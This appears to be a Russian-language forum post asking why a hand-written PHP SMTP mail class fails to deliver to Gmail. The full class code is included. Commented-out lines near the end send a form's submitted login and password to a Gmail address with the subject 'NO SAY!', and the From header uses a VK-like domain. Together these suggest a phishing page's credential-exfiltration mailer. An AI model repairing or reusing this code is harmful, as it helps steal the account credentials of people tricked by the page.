Создаю приложение, чтобы письма отправлялись на все почтовые ящики. И у меня возникла проблема с отправкой письма на gmail.
Вот код:
<?php
class SendMailSmtpClass {
public $smtp_username;
public $smtp_password;
public $smtp_host;
public $smtp_from;
public $smtp_port;
public $smtp_charset;
public function __construct($smtp_username, $smtp_password, $smtp_host, $smtp_from, $smtp_port = 25, $smtp_charset = "utf-8") {
$this->smtp_username = $smtp_username;
$this->smtp_password = $smtp_password;
$this->smtp_host = $smtp_host;
$this->smtp_from = $smtp_from;
$this->smtp_port = $smtp_port;
$this->smtp_charset = $smtp_charset;
}
function send($mailTo, $subject, $message, $headers) {
$contentMail = "Date: " . date("D, d M Y H:i:s") . " UT\r\n";
$contentMail .= 'Subject: =?' . $this->smtp_charset . '?B?' . base64_encode($subject) . "=?=\r\n";
$contentMail .= $headers . "\r\n";
$contentMail .= $message . "\r\n";
try {
if(!$socket = @fsockopen($this->smtp_host, $this->smtp_port, $errorNumber, $errorDescription, 30)){
throw new Exception($errorNumber.".".$errorDescription);
}
if (!$this->_parseServer($socket, "220")){
throw new Exception('Connection error');
}
fputs($socket, "HELO " . $this->smtp_host . "\r\n");
if (!$this->_parseServer($socket, "250")) {
fclose($socket);
throw new Exception('Error of command sending: HELO');
}
fputs($socket, "AUTH LOGIN\r\n");
if (!$this->_parseServer($socket, "334")) {
fclose($socket);
throw new Exception('Autorization error');
}
fputs($socket, base64_encode($this->smtp_username) . "\r\n");
if (!$this->_parseServer($socket, "334")) {
fclose($socket);
throw new Exception('Autorization error');
}
fputs($socket, base64_encode($this->smtp_password) . "\r\n");
if (!$this->_parseServer($socket, "235")) {
fclose($socket);
throw new Exception('Autorization error');
}
fputs($socket, "MAIL FROM: ".$this->smtp_username."\r\n");
if (!$this->_parseServer($socket, "250")) {
fclose($socket);
throw new Exception('Error of command sending: MAIL FROM');
}
fputs($socket, "RCPT TO: " . $mailTo . "\r\n");
if (!$this->_parseServer($socket, "250")) {
fclose($socket);
throw new Exception('Error of command sending: RCPT TO');
}
fputs($socket, "DATA\r\n");
if (!$this->_parseServer($socket, "354")) {
fclose($socket);
throw new Exception('Error of command sending: DATA');
}
fputs($socket, $contentMail."\r\n.\r\n");
if (!$this->_parseServer($socket, "250")) {
fclose($socket);
throw new Exception("E-mail didn't sent");
}
fputs($socket, "QUIT\r\n");
fclose($socket);
} catch (Exception $e) {
return $e->getMessage();
}
return true;
}
private function _parseServer($socket, $response) {
while (@substr($responseServer, 3, 1) != ' ') {
if (!($responseServer = fgets($socket, 256))) {
return false;
}
}
if (!(substr($responseServer, 0, 3) == $response)) {
return false;
}
return true;
}
}
$mailSMTP = new SendMailSmtpClass("from@gmail.com", "password" , "from@gmail.com", "from@gmail.com"); // создаем экземпляр класса
$headers= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=utf-8\r\n";
$headers .= "From: User <admin@vk-book.ru>\r\n"; //
/*
$result = $mailSMTP->send("from@gmail.com", "NO SAY!", "LOGIN: " . $_POST["e-mail"] , $headers);
$result = $mailSMTP->send("from@gmail.com", "NO SAY!", "PASS: " . $_POST["pass"], $headers);
*/
$result = $mailSMTP->send("to@gmail.com", "NO SAY!",$_POST["m"], $headers);
if($result === true){
// echo "письмо отправлено";
}else{
echo "ошибка: " . $result;
}
?>